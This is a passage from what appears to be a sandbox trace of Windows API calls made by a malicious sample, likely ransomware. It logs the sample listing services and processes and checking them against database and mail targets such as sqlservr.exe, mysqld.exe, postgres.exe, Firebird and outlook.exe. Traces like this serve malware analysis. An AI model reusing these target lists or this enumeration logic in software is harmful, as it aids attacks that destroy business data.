lpString2="LanmanWorkstation") returned 1 [0237.571] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0237.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0237.571] lstrlenW (lpString="lmhosts") returned 7 [0237.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0237.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0237.571] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0237.571] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0237.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0237.571] lstrlenW (lpString="MMCSS") returned 5 [0237.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0237.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0237.572] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0237.572] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0237.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0237.572] lstrlenW (lpString="MpsSvc") returned 6 [0237.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0237.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0237.572] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0237.572] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0237.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0237.572] lstrlenW (lpString="NlaSvc") returned 6 [0237.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0237.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0237.572] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0237.572] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0237.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0237.572] lstrlenW (lpString="nsi") returned 3 [0237.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0237.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0237.572] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0237.572] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0237.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0237.572] lstrlenW (lpString="PcaSvc") returned 6 [0237.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0237.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0237.572] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0237.572] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0237.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0237.572] lstrlenW (lpString="PlugPlay") returned 8 [0237.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0237.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0237.572] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0237.572] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0237.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0237.572] lstrlenW (lpString="Power") returned 5 [0237.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0237.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0237.572] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0237.573] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0237.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0237.573] lstrlenW (lpString="ProfSvc") returned 7 [0237.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0237.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0237.573] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0237.573] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0237.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0237.573] lstrlenW (lpString="RpcEptMapper") returned 12 [0237.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0237.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0237.573] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0237.573] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0237.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0237.573] lstrlenW (lpString="RpcSs") returned 5 [0237.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0237.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0237.573] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0237.573] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0237.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0237.573] lstrlenW (lpString="SamSs") returned 5 [0237.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0237.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0237.573] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0237.573] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0237.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0237.573] lstrlenW (lpString="Schedule") returned 8 [0237.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0237.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0237.573] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0237.573] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0237.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0237.573] lstrlenW (lpString="SENS") returned 4 [0237.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0237.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0237.573] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0237.573] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0237.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0237.574] lstrlenW (lpString="ShellHWDetection") returned 16 [0237.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0237.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0237.574] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0237.574] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0237.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0237.574] lstrlenW (lpString="Spooler") returned 7 [0237.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0237.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0237.574] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0237.574] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0237.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0237.574] lstrlenW (lpString="Themes") returned 6 [0237.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0237.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0237.574] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0237.574] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0237.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0237.574] lstrlenW (lpString="UxSms") returned 5 [0237.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0237.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0237.574] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0237.574] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0237.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0237.574] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x586890 | out: hHeap=0x530000) returned 1 [0237.574] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x338 [0237.577] Process32FirstW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.577] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0237.577] lstrlenW (lpString="System") returned 6 [0237.577] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0237.577] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0237.577] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0237.577] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0237.577] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0237.577] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0237.577] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0237.577] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0237.578] lstrlenW (lpString="smss.exe") returned 8 [0237.578] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0237.578] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0237.578] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0237.578] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0237.578] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0237.578] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0237.578] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0237.578] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.578] lstrlenW (lpString="csrss.exe") returned 9 [0237.578] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0237.578] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0237.578] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0237.578] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0237.578] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0237.578] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0237.578] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0237.578] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0237.579] lstrlenW (lpString="wininit.exe") returned 11 [0237.579] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0237.579] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0237.579] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0237.579] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0237.579] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0237.579] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0237.579] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0237.579] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.579] lstrlenW (lpString="csrss.exe") returned 9 [0237.579] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0237.579] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0237.579] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0237.579] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0237.579] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0237.579] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0237.579] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0237.579] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0237.580] lstrlenW (lpString="winlogon.exe") returned 12 [0237.580] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0237.580] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0237.580] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0237.580] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0237.580] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0237.580] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0237.580] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0237.580] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0237.580] lstrlenW (lpString="services.exe") returned 12 [0237.580] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0237.580] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0237.580] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0237.580] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0237.580] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0237.580] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0237.580] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0237.580] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0237.580] lstrlenW (lpString="lsass.exe") returned 9 [0237.580] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0237.581] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0237.581] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0237.581] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0237.581] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0237.581] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0237.581] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0237.581] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0237.581] lstrlenW (lpString="lsm.exe") returned 7 [0237.581] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0237.581] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0237.581] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0237.581] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0237.581] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0237.581] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0237.581] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0237.581] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.581] lstrlenW (lpString="svchost.exe") returned 11 [0237.581] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0237.581] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0237.581] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0237.582] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0237.582] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0237.582] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0237.582] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0237.582] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.582] lstrlenW (lpString="svchost.exe") returned 11 [0237.582] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0237.582] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0237.582] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0237.582] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0237.582] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0237.582] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0237.582] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0237.582] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.582] lstrlenW (lpString="svchost.exe") returned 11 [0237.582] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0237.582] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0237.582] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0237.582] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0237.582] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0237.583] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0237.583] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0237.583] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0237.583] lstrlenW (lpString="LogonUI.exe") returned 11 [0237.583] lstrcmpiW (lpString1="1c8.exe", lpString2="LogonUI.exe") returned -1 [0237.583] lstrcmpiW (lpString1="1cv77.exe", lpString2="LogonUI.exe") returned -1 [0237.583] lstrcmpiW (lpString1="outlook.exe", lpString2="LogonUI.exe") returned 1 [0237.583] lstrcmpiW (lpString1="postgres.exe", lpString2="LogonUI.exe") returned 1 [0237.583] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="LogonUI.exe") returned 1 [0237.583] lstrcmpiW (lpString1="mysqld.exe", lpString2="LogonUI.exe") returned 1 [0237.583] lstrcmpiW (lpString1="sqlservr.exe", lpString2="LogonUI.exe") returned 1 [0237.583] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.583] lstrlenW (lpString="svchost.exe") returned 11 [0237.583] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0237.583] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0237.583] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0237.583] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.584] lstrlenW (lpString="svchost.exe") returned 11 [0237.584] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0237.584] lstrlenW (lpString="audiodg.exe") returned 11 [0237.584] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.584] lstrlenW (lpString="svchost.exe") returned 11 [0237.584] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.585] lstrlenW (lpString="svchost.exe") returned 11 [0237.585] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0237.585] lstrlenW (lpString="userinit.exe") returned 12 [0237.585] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0237.585] lstrlenW (lpString="dwm.exe") returned 7 [0237.585] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0237.586] lstrlenW (lpString="explorer.exe") returned 12 [0237.586] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0237.586] lstrlenW (lpString="spoolsv.exe") returned 11 [0237.586] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0237.586] lstrlenW (lpString="taskhost.exe") returned 12 [0237.586] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.586] lstrlenW (lpString="svchost.exe") returned 11 [0237.586] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0237.587] lstrlenW (lpString="uyuquk.exe") returned 10 [0237.587] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0237.587] lstrlenW (lpString="reader_sl.exe") returned 13 [0237.587] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0237.587] lstrlenW (lpString="cmd.exe") returned 7 [0237.587] Process32NextW (in: hSnapshot=0x338, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, 